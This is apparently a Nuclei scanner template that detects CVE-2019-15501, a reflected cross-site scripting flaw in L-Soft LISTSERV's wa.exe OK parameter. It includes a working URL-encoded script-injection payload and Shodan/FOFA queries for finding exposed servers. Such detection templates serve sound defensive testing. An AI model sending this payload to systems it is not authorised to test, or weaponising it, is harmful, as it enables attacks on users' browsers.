id: CVE-2019-15501

info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
  author: LogicalHunter,arafatansari
  severity: medium
  description: |
    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a version of L-Soft LISTSERV that is higher than 16.5-2018a to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15501
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
    epss-score: 0.08182
    epss-percentile: 0.94297
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lsoft
    product: listserv
    shodan-query:
      - http.html:"LISTSERV"
      - http.html:"listserv"
    fofa-query: body="listserv"
  tags: cve2019,cve,xss,listserv,edb,lsoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e0835e536b1f581ef602bad3107d1fc2d0326e2f927b4a3d2ba74260d8e3879d022100e3df33bf49cac9972866d9de1686642a4e927a605cd7e7d3343b1ff0d8097844:922c64590222798bb761d5b6d8e72950